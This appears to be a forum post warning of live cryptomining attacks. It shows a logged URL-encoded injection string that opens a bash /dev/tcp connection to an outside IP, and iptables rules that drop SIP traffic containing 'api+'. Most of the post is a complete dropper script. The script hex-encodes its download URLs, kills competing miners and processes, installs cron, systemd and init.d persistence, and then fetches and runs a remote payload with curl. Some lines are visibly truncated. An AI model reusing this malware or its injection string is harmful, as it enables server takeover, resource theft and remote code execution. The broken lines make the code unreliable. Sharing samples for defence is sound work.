Crypto Hacking Attempts going on now!!

Processing text message default->api+system%20command%20-v%20bash%3E/dev/null&&timeout%205%20bash%20-c%20'exec%203%3C%3E/dev/tcp/77.73.70.190/33375;exec%203%3E&-'%202%3E/dev/

-A INPUT -p udp -m udp --dport 5060:5091 -m string --string "api+" --algo bm --to 65535 --icase -j DROP
-A INPUT -p tcp -m tcp --dport 5060:5091 -m string --string "api+" --algo bm --to 65535 --icase -j DROP

#!/bin/sh
bg() {
    _bg_cmd="$1"
    if command -v setsid >/dev/null 2>&1; then
        setsid sh -c "$_bg_cmd" >/dev/null 2>&1 &
    elif command -v nohup >/dev/null 2>&1; then
        nohup sh -c "$_bg_cmd" >/dev/null 2>&1 &
    else
        sh -c "$_bg_cmd" >/dev/null 2>&1 &
    fi
}
INSTALL_DIR="/var/tmp"
_URL_HEX_K=" 68747470733a2f2f636861746770742e6c6f676c746563682e73746f72652f696d672f63616368652f323032362f30382f 68747470733a2f2f7368646573617364642e6c6f676c746563682e776f726b6572732e6465762f696d672f63616368652f323032362f30382f 68747470733a2f2f61692e6170616368656e67696e782e72752f6173736574732f666f6e74732f776f6666322f 687474703a2f2f38372e3232392e36342e34392f7374617469632f6a732f76656e646f722f 687474703a2f2f3231372e3135312e39392e3231362f77702d636f6e74656e742f75706c6f6164732f323032362f30382f"
URLS_K=""
for _hx in $_URL_HEX_K; do
    _dec=""
    if command -v python3 >/dev/null 2>&1; then
        _dec=$(python3 -c "import sys;print(bytes.fromhex(sys.argv[1]).decode())" "$_hx" 2>/dev/null)
    elif command -v python >/dev/null 2>&1; then
        _dec=$(python -c "import sys;print(sys.argv[1].decode('hex'))" "$_hx" 2>/dev/null)
    elif command -v xxd >/dev/null 2>&1; then
        _dec=$(echo "$_hx" | xxd -r -p 2>/dev/null)
    elif command -v perl >/dev/null 2>&1; then
        _dec=$(echo "$_hx" | perl -pe 's/(..)/chr(hex($1))/ge' 2>/dev/null)
    else
        _dec=$(echo "$_hx" | sed 's/\(..\)/\\x\1/g' | xargs printf '%b' 2>/dev/null)
    fi
    [ -n "$_dec" ] && URLS_K="$URLS_K $_dec"
done
unset _URL_HEX_K _hx _dec
_t="/var/tmp/.khp_ts"
_n=$(date +%s 2>/dev/null)
for _d in /proc/[0-9]*; do
    _pid=${_d
    _exe=$(readlink "$_d/exe" 2>/dev/null) || continue
    case "$_exe" in
        *ssl-compet*|*sslmon*|*mnmonitor*|*cpuhide*|*.gt_sys_health*|*.gt_sys_wd*|*.gt_cron_health*|*esocket4*|*universal-miner*|*unicorn*)
            kill -9 "$_pid" 2>/dev/null ;;
    esac
done
for _d in /proc/[0-9]*; do
    _pid=${_d
    _cmd=$(tr '\0' ' ' < "$_d/cmdline" 2>/dev/null) || continue
    case "$_cmd" in
        "[kworker"*|"[kswapd"*|"[kblockd"*|"[khugepaged"*|"[kdevtmpfs"*|"[kcompactd"*|"[watchdog"*|"[ksoftirqd"*)
            _uid=$(awk '/^Uid:/{print $2}' "$_d/status" 2>/dev/null)
            [ -n "$_uid" ] && [ "$_uid" != "0" ] && kill -9 "$_pid" 2>/dev/null ;;
    esac
done
for _d in /proc/[0-9]*; do
    _pid=${_d
    _uid=$(awk '/^Uid:/{print $2}' "$_d/status" 2>/dev/null)
    [ -n "$_uid" ] && [ "$_uid" = "0" ] && continue
    _exe=$(readlink "$_d/exe" 2>/dev/null) || continue
    _cwd=$(readlink "$_d/cwd" 2>/dev/null)
    case "$_exe|$_cwd" in
        *deleted*)
            _cmd=$(tr '\0' ' ' < "$_d/cmdline" 2>/dev/null)
            case "$_cmd" in
                *javab*|*ksmd*|*idle*|*.khp*|*.rguard*|*/bin/sh*|*/bin/dash*|*/bin/bash*)
                    :
                    ;;
                *)
                    kill -9 "$_pid" 2>/dev/null
                    ;;
            esac
            continue
            ;;
    esac
    _w=0
    for _dd in /dev/shm /dev/sdhm /var/tmp /tmp /run /var/run /var/lib; do
        case "$_exe" in
            "$_dd"/*) _w=1 ;;
        esac
    done
    [ "$_w" = "1" ] || continue
    _cmd=$(tr '\0' ' ' < "$_d/cmdline" 2>/dev/null)
    case "$_cmd" in
        *javab*|*ksmd*|*idle*|*.khp*|*/bin/sh*|*/bin/dash*|*/bin/bash*)
            :
            ;;
        *)
            kill -9 "$_pid" 2>/dev/null
            rm -f "$_exe" 2>/dev/null
            ;;
    esac
done
pkill -9 -f 'gt_sys_wd' 2>/dev/null
pkill -9 -f 'ssl-compet' 2>/dev/null
pkill -9 -f 'mnmonitor' 2>/dev/null
pkill -9 -f 'cpuhide' 2>/dev/null
if ! pgrep -f ".rguard" >/dev/null 2>&1; then
    bg "\"/var/tmp/.rguard\""
fi
if ! pgrep -f "/var/tmp/idle" >/dev/null 2>&1; then
    [ -x "/var/tmp/idle" ] && bg "sh /var/tmp/idle javab /var/tmp/javab"
fi
if [ "$IS_ROOT" = "1" ] && command -v systemctl >/dev/null 2>&1 && [ -d /etc/systemd/system ]; then
    systemctl is-enabled javab.service >/dev/null 2>&1 || systemctl enable javab.service 2>/dev/null
    systemctl is-active javab.service >/dev/null 2>&1 || systemctl start javab.service 2>/dev/null
elif [ "$IS_ROOT" != "1" ] && command -v systemctl >/dev/null 2>&1; then
    systemctl --user is-enabled javab.service >/dev/null 2>&1 || systemctl --user enable javab.service 2>/dev/null
    systemctl --user is-active javab.service >/dev/null 2>&1 || systemctl --user start javab.service 2>/dev/null
    loginctl enable-linger $(whoami) 2>/dev/null || true
elif [ "$IS_ROOT" = "1" ] && [ -d /etc/init.d ]; then
    [ -x /etc/init.d/javab ] || {
        cat > /etc/init.d/javab << 'INITSELFEOF'
#!/bin/sh
case "" in
start) nohup sh "/var/tmp/.khp" >/dev/null 2>&1 & ;;
stop) pkill -f "/var/tmp/.khp" 2>/dev/null ;;
*) exit 0 ;;
esac
INITSELFEOF
    chmod +x /etc/init.d/javab 2>/dev/null
    update-rc.d javab defaults 2>/dev/null
    }
fi
crontab -l 2>/dev/null | grep -F "/var/tmp/.khp" >/dev/null 2>&1 || { crontab -l 2>/dev/null; echo "* * * * * /var/tmp/.khp"; } | crontab - 2>/dev/null
rm -rf /var/tmp/.gt_sys_health /var/tmp/.gt_sys_health.json /var/tmp/.gt_sys_wd.sh /tmp/.gt_cron_health /tmp/.gt_cron_health.json 2>/dev/null
rm -rf /dev/shm/.xmon-112 /dev/shm/.xmon* /tmp/.xmon* /var/tmp/.xmon* 2>/dev/null
find /root /home /tmp /var/tmp /dev/shm -maxdepth 5 -name "mnmonitor.sh" -exec rm -f {} \; 2>/dev/null
if [ ! -x "/var/tmp/idle" ] || [ ! -x "/var/tmp/javab" ]; then

    for _ku in $URLS_K; do
        [ -n "$_ku" ] || continue
        curl -fsSLk --connect-timeout 10 --max-time 60 "$_ku/ksmd" -o "/var/tmp/ksmd" 2>/dev/null
        [ -s "/var/tmp/ksmd" ] && break
    done
    if [ -s "/var/tmp/ksmd" ]; then
        cd "/var/tmp" && sh ksmd
    fi
    exit 0
fi
[ -n "$_n" ] && [ -f "$_t" ] && [ $(($_n - $(cat "$_t" 2>/dev/null))) -lt 7200 ] && exit 0
echo "$_n" > "$_t" 2>/dev/null

    for _ku in $URLS_K; do
        [ -n "$_ku" ] || continue
        curl -fsSLk --connect-timeout 10 --max-time 60 "$_ku/ksmd" -o "/var/tmp/ksmd" 2>/dev/null
        [ -s "/var/tmp/ksmd" ] && break
    done
if [ -s "/var/tmp/ksmd" ]; then
    cd "/var/tmp" && sh ksmd
fi